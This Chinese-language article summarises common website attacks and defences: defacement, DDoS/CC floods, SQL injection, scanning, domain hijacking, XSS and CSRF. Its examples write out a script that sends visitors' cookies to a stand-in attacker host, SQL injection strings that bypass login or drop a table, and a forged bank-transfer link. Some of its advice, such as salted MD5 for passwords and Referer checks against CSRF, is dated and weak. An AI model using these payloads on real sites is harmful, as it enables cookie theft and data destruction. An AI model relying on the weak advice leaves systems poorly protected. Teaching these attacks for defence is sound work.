總結幾種常見的網站攻擊方式及對應防禦方法

尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️

加入LINE好友

聽說世界上只有百分之3的人關注Jayson,很幸運你是其中一位

總結幾種常見的網站攻擊方式及對應防禦方法 科技 第1張

第一種:網頁篡改

攻擊描述:針對網站程序漏洞,植入木馬(webshell、跨站腳本攻擊),篡改網頁,添加黑鏈或者嵌入非本站信息,甚至是創建大量目錄網頁,以博彩攻擊織夢CMS最常見。

危害說明:網站信息被篡改,本站訪客不信任,搜尋引擎(百度為例)和安全平台(安全聯盟為例)檢測到你的網站被掛馬,會在搜尋結果提示安全風險,搜尋引擎和瀏覽器都會攔截訪問。

處理方法:

1、程序設置:更換程序、更新補丁、修補漏洞、設置權限、經常備份

2、漏洞查殺:360網站檢測、360主機衛士

3、申訴平台:安全聯盟

第二種:流量攻擊

攻擊描述:CC攻擊:借助代理服務器模擬多個用戶不停的對網站進行訪問請求,DDOS攻擊:控制多台電腦向網站發送訪問請求,以CC攻擊最為普遍,採用大量數據包淹沒一個或多個路由器、服務器和防火牆。

危害說明:CC攻擊會使服務器CPU達到峰值100%,網站癱瘓無法正常打開,IIS停止服務,出現503狀態無法自動恢復;百度蜘蛛無法抓取網站,清空索引及排名,流量下滑(我這次就是因為春節期間4天沒處理就被百度清空了,好在申訴恢復了,百度因為360的競爭現在相當勤奮)。

處理方式:

1、選擇大型安全有防火牆的主機服務商:阿里雲、西部數位、新網互聯

2、網站監控:360網站監控(不推薦百度雲觀測,慢5分鐘提示簡訊不明)

3、CDN防護:加速樂、雲盾(不推薦百度雲加速,1000次CC攻擊便會崩潰,360網站衛士因審核較嚴未通過不評價)

4、服務器:服務器安全狗(未專業慎裝,網站會變慢)、網站安全狗、金山毒霸企業版

5、申訴:百度站長平台

第三種:數據庫攻擊

攻擊描述:SQL注入:通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

危害說明:數據庫入侵,用戶信息泄露,數據表被篡改,植入後門,數據庫被篡改比網頁文件被篡改危害大得多,因為網頁都是通過數據庫生成的。

處理方式:

1、在各種信息提交框處加驗證

2、數據庫防火牆

3、參見第二種處理方式

第四種:惡意掃描

攻擊描述:黑客為了攻擊網站通過工具自動掃描漏洞。

危害說明:發現漏洞,進而攻擊。

處理方式:

1、關閉閒置端口,修改默認端口

2、參見第二種處理方式

第五種:域名攻擊

域名被盜:域名所有權被轉移,域名註冊商被轉移;

DNS域名劫持:偽造DNS服務器,指引用戶指向錯誤的一個域名地址,

域名泛解析:域名被泛解析很多二級域名網站指向黑客網站,中國政府域名和較大流量個人站很受博彩歡迎。

危害說明:失去域名控制權,域名會被綁定解析到黑客網站,被泛解析權重會分散,引起搜尋引擎、安全平台不信任從而降權標黑。

處理方式:

1、選擇大型知名域名註冊商,填寫真實信息,鎖定域名禁止轉移:西部數位、新網互聯、GoDaddy,並不推薦中國萬網和諧不實用

2、保證域名註冊郵箱安全

3、選擇大型穩定域名解析商:DNSPod,鎖定解析

4、申訴平台:百度站長平台

下面來說說案例:

XSS

概念

全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意腳本程序。

案列

比如說我寫了一個博客網站,然後攻擊者在上面發布了一個文章,內容是這樣的<script>window.open(「www.gongji.com?param=」+document.cookie)</script>,如果我沒有對他的內容進行處理,直接存儲到數據庫,那麼下一次當其他用戶訪問他的這篇文章的時候,服務器從數據庫讀取後然後響應給客戶端,瀏覽器執行了這段腳本,然後就把該用戶的cookie發送到攻擊者的服務器了。

被攻擊的原因

用戶輸入的數據變成了代碼,比如說上面的<script>,應該只是字符串卻有了代碼的作用。

預防

將輸入的數據進行轉義處理,比如說講 < 轉義成&lt;


SQL注入

概念

通過sql命令偽裝成正常的http請求參數,傳遞到服務器端,服務器執行sql命令造成對數據庫進行攻擊

案例

' or '1'= '1。這是最常見的sql注入攻擊,當我們輸如用戶名 jiajun ,然後密碼輸如'or '1'= '1的時候,我們在查詢用戶名和密碼是否正確的時候,本來要執行的是select * from user where username='' and password='',經過參數拼接後,會執行sql語句select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。

但是如果再嚴重一點,密碼輸如的是';drop table user;--,那麼sql命令為select * from user where username='jiajun' and password='';drop table user;--'這個時候我們就直接把這個表給刪除了

被攻擊的原因

sql語句偽造參數,然後在對參數進行拼接的後形成破壞性的sql語句,最後導致數據庫受到攻擊

預防

在java中,我們可以使用預編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成參數,到了服務端的時候,這個偽造sql語句的參數也只是簡單的字符,並不能起到攻擊的作用。

很多orm框架已經可以對參數進行轉義

做最壞的打算,即使被’拖庫‘(‘脫褲,數據庫泄露’)。數據庫中密碼不應明文存儲的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以採用加鹽的(數據庫存儲用戶名,鹽(隨機字符長),md5後的密文)方式。


CSRF

概念

全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任用戶的進行訪問,通俗的講就是說我訪問了A網站,然後cookie存在了瀏覽器,然後我又訪問了一個流氓網站,不小心點了流氓網站一個鏈接(向A發送請求),這個時候流氓網站利用了我的身份對A進行了訪問。

案列

這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登錄了A銀行網站,然後我又訪問了室友給的一個流氓網站,然後點了里面的一個鏈接www.A.com/transfer?account=666&money=10000,那麼這個時候很可能我就向帳號為666的人轉了1w軟妹幣

注意這個攻擊方式不一定是我點了這個鏈接,也可以是這個網站里面一些資源請求指向了這個轉帳鏈接,比如說一個

被攻擊的原因

用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,然後偽造用戶發出請求

預防

之所以被攻擊是因為攻擊者利用了存儲在瀏覽器用於用戶認證的cookie,那麼如果我們不用cookie來驗證不就可以預防了。所以我們可以採用token(不存儲於瀏覽器)認證。

通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用於處理。那麼這樣的話,我們必須登錄銀行A網站才能進行轉帳了。


DDOS

概念

分布式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,所以出現了DDOS,攻擊者借助公共網路,將大數量的計算機設備聯合起來,向一個或多個目標進行攻擊。

案例

SYN Flood ,簡單說一下tcp三次握手,客戶端先服務器發出請求,請求建立連接,然後服務器返回一個報文,表明請求以被接受,然後客戶端也會返回一個報文,最後建立連接。那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給服務器請求連接,這個時候服務器接受到了,根據tcp三次握手的規則,服務器也要回應一個報文,可是這個ip是偽造的,報文回應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候服務器收不到第三次握手時客戶端發出的報文,又再重復第二次握手的操作。如果攻擊者偽造了大量的ip地址並發出請求,這個時候服務器將維護一個非常大的半連接等待列表,占用了大量的資源,最後服務器癱瘓。

CC攻擊,在應用層http協議上發起攻擊,模擬正常用戶發送大量請求直到該網站拒絕服務為止。

被攻擊的原因

服務器帶寬不足,不能擋住攻擊者的攻擊流量

預防

最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費很多錢,但對於服務器來說,帶寬非常昂貴。

雲服務提供商有自己的一套完整DDoS解決方案,並且能提供豐富的帶寬資源

跟著Jayson玩耍看世界,帶你裝逼帶你飛。喜歡的觀眾老爺可以點波關注,Jayson在此跪拜!

總結幾種常見的網站攻擊方式及對應防禦方法 科技 第2張